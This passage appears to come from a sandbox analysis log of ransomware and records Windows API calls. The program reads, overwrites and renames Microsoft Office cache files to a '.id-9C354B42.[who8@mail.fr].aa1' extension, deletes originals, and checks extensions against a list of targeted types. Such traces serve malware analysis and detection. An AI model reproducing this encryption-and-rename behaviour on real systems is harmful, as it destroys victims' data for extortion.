(in: hFile=0x1e4, lpBuffer=0x3fd40a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd40a8*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0219.787] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0219.787] WriteFile (in: hFile=0x1e4, lpBuffer=0x3fd40a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd40a8*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0219.788] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0219.788] WriteFile (in: hFile=0x1e4, lpBuffer=0x3fd40a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd40a8*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0219.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3fd40a8 | out: hHeap=0x4f0000) returned 1 [0219.790] CloseHandle (hObject=0x1e4) returned 1 [0219.791] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0219.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0219.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0219.791] lstrlenW (lpString=".doc") returned 4 [0219.791] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0219.791] lstrlenW (lpString=".docx") returned 5 [0219.791] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0219.791] lstrlenW (lpString=".pdf") returned 4 [0219.791] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0219.791] lstrlenW (lpString=".xls") returned 4 [0219.791] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0219.791] lstrlenW (lpString=".xlsx") returned 5 [0219.791] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0219.791] lstrlenW (lpString=".ppt") returned 4 [0219.791] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0219.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0219.791] lstrlenW (lpString=".zip") returned 4 [0219.791] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0219.791] lstrlenW (lpString=".rar") returned 4 [0219.791] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0219.791] lstrlenW (lpString=".bz2") returned 4 [0219.791] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0219.792] lstrlenW (lpString=".7z") returned 3 [0219.792] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0219.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0219.792] lstrlenW (lpString=".dbf") returned 4 [0219.792] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0219.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0219.792] lstrlenW (lpString=".1cd") returned 4 [0219.792] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0219.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0219.792] lstrlenW (lpString=".jpg") returned 4 [0219.792] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0219.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0219.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0219.792] lstrlenW (lpString=".doc") returned 4 [0219.792] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0219.792] lstrlenW (lpString=".docx") returned 5 [0219.792] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0219.792] lstrlenW (lpString=".pdf") returned 4 [0219.792] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0219.792] lstrlenW (lpString=".xls") returned 4 [0219.792] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0219.792] lstrlenW (lpString=".xlsx") returned 5 [0219.792] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0219.792] lstrlenW (lpString=".ppt") returned 4 [0219.792] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0219.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0219.792] lstrlenW (lpString=".zip") returned 4 [0219.792] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0219.792] lstrlenW (lpString=".rar") returned 4 [0219.792] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0219.793] lstrlenW (lpString=".bz2") returned 4 [0219.793] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0219.793] lstrlenW (lpString=".7z") returned 3 [0219.793] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0219.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0219.793] lstrlenW (lpString=".dbf") returned 4 [0219.793] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0219.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0219.793] lstrlenW (lpString=".1cd") returned 4 [0219.793] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0219.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0219.793] lstrlenW (lpString=".jpg") returned 4 [0219.793] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0219.793] lstrcmpiW (lpString1=".msi", lpString2=".aa1") returned 1 [0219.793] lstrlenW (lpString="AccessMUISet.msi") returned 16 [0219.793] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0219.793] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=868864) returned 1 [0219.793] CloseHandle (hObject=0x1e4) returned 1 [0219.794] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 0x2020 [0219.822] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0219.822] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0219.822] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.823] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.823] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0219.823] GetLastError () returned 0x0 [0219.823] ReadFile (in: hFile=0x17c, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0xd4200, lpOverlapped=0x0) returned 1 [0220.577] WriteFile (in: hFile=0x208, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0220.854] ReadFile (in: hFile=0x17c, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.854] WriteFile (in: hFile=0x208, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0220.854] SetEndOfFile (hFile=0x208) returned 1 [0220.854] CloseHandle (hObject=0x208) returned 1 [0220.854] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.854] SetEndOfFile (hFile=0x17c) returned 1 [0220.869] CloseHandle (hObject=0x17c) returned 1 [0220.870] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0220.870] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 1 [0220.870] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0220.870] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0220.870] lstrlenW (lpString=".doc") returned 4 [0220.870] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0220.870] lstrlenW (lpString=".docx") returned 5 [0220.870] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0220.870] lstrlenW (lpString=".pdf") returned 4 [0220.870] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0220.870] lstrlenW (lpString=".xls") returned 4 [0220.871] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0220.871] lstrlenW (lpString=".xlsx") returned 5 [0220.871] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0220.871] lstrlenW (lpString=".ppt") returned 4 [0220.871] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0220.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0220.871] lstrlenW (lpString=".zip") returned 4 [0220.871] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0220.871] lstrlenW (lpString=".rar") returned 4 [0220.871] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0220.871] lstrlenW (lpString=".bz2") returned 4 [0220.871] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0220.871] lstrlenW (lpString=".7z") returned 3 [0220.871] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0220.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0220.871] lstrlenW (lpString=".dbf") returned 4 [0220.871] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0220.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0220.871] lstrlenW (lpString=".1cd") returned 4 [0220.871] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0220.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0220.871] lstrlenW (lpString=".jpg") returned 4 [0220.871] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0220.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0220.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0220.871] lstrlenW (lpString=".doc") returned 4 [0220.872] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0220.872] lstrlenW (lpString=".docx") returned 5 [0220.872] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0220.872] lstrlenW (lpString=".pdf") returned 4 [0220.872] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0220.872] lstrlenW (lpString=".xls") returned 4 [0220.872] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0220.872] lstrlenW (lpString=".xlsx") returned 5 [0220.872] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0220.872] lstrlenW (lpString=".ppt") returned 4 [0220.872] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0220.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0220.872] lstrlenW (lpString=".zip") returned 4 [0220.872] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0220.872] lstrlenW (lpString=".rar") returned 4 [0220.872] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0220.872] lstrlenW (lpString=".bz2") returned 4 [0220.872] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0220.872] lstrlenW (lpString=".7z") returned 3 [0220.872] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0220.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0220.872] lstrlenW (lpString=".dbf") returned 4 [0220.872] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0220.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0220.872] lstrlenW (lpString=".1cd") returned 4 [0220.872] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0220.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0220.872] lstrlenW (lpString=".jpg") returned 4 [0220.873] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0220.873] lstrcmpiW (lpString1=".dll", lpString2=".aa1") returned 1 [0220.873] lstrlenW (lpString="osetup.dll") returned 10 [0220.873] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0220.873] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=7378792) returned 1 [0220.873] CloseHandle (hObject=0x17c) returned 1 [0220.873] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0220.873] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0220.873] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0220.874] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0220.874] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0x0) returned 1 [0220.874] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0220.874] ReadFile (in: hFile=0x17c, lpBuffer=0x3950058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3950058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0220.924] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0220.924] ReadFile (in: hFile=0x17c, lpBuffer=0x3990058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3990058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0221.028] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0221.028] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0221.028] ReadFile (in: hFile=0x17c, lpBuffer=0x39d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x39d0058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0221.095] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.095] WriteFile (in: hFile=0x17c, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2d9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0221.375] SetEndOfFile (hFile=0x17c) returned 1 [0221.375] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3fd40a8 [0221.378] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0221.378] WriteFile (in: hFile=0x17c, lpBuffer=0x3fd40a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd40a8*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0221.379] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0221.380] WriteFile (in: hFile=0x17c, lpBuffer=0x3fd40a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd40a8*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0221.381] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0221.381] WriteFile (in: hFile=0x17c, lpBuffer=0x3fd40a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd40a8*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0221.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3fd40a8 | out: hHeap=0x4f0000) returned 1 [0221.383] CloseHandle (hObject=0x17c) returned 1 [0221.383] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0221.383] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0221.383] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0221.383] lstrlenW (lpString=".doc") returned 4 [0221.383] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0221.383] lstrlenW (lpString=".docx") returned 5 [0221.383] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0221.383] lstrlenW (lpString=".pdf") returned 4 [0221.383] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0221.383] lstrlenW (lpString=".xls") returned 4 [0221.383] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0221.383] lstrlenW (lpString=".xlsx") returned 5 [0221.383] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0221.383] lstrlenW (lpString=".ppt") returned 4 [0221.383] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0221.383] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0221.383] lstrlenW (lpString=".zip") returned 4 [0221.384] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0221.384] lstrlenW (lpString=".rar") returned 4 [0221.384] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0221.384] lstrlenW (lpString=".bz2") returned 4 [0221.384] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0221.384] lstrlenW (lpString=".7z") returned 3 [0221.384] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0221.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0221.384] lstrlenW (lpString=".dbf") returned 4 [0221.384] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0221.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0221.384] lstrlenW (lpString=".1cd") returned 4 [0221.384] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0221.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0221.384] lstrlenW (lpString=".jpg") returned 4 [0221.384] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0221.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0221.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0221.384] lstrlenW (lpString=".doc") returned 4 [0221.384] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0221.384] lstrlenW (lpString=".docx") returned 5 [0221.384] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0221.384] lstrlenW (lpString=".pdf") returned 4 [0221.384] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0221.384] lstrlenW (lpString=".xls") returned 4 [0221.384] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0221.384] lstrlenW (lpString=".xlsx") returned 5 [0221.384] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0221.384] lstrlenW (lpString=".ppt") returned 4 [0221.384] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0221.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0221.384] lstrlenW (lpString=".zip") returned 4 [0221.385] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0221.385] lstrlenW (lpString=".rar") returned 4 [0221.385] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0221.385] lstrlenW (lpString=".bz2") returned 4 [0221.385] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0221.385] lstrlenW (lpString=".7z") returned 3 [0221.385] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0221.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0221.385] lstrlenW (lpString=".dbf") returned 4 [0221.385] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0221.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0221.385] lstrlenW (lpString=".1cd") returned 4 [0221.385] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0221.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0221.385] lstrlenW (lpString=".jpg") returned 4 [0221.385] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0221.386] lstrcmpiW (lpString1=".cab", lpString2=".aa1") returned 1 [0221.386] lstrlenW (lpString="ProPrWW2.cab") returned 12 [0221.386] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0221.599] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2d9ff1c | out: 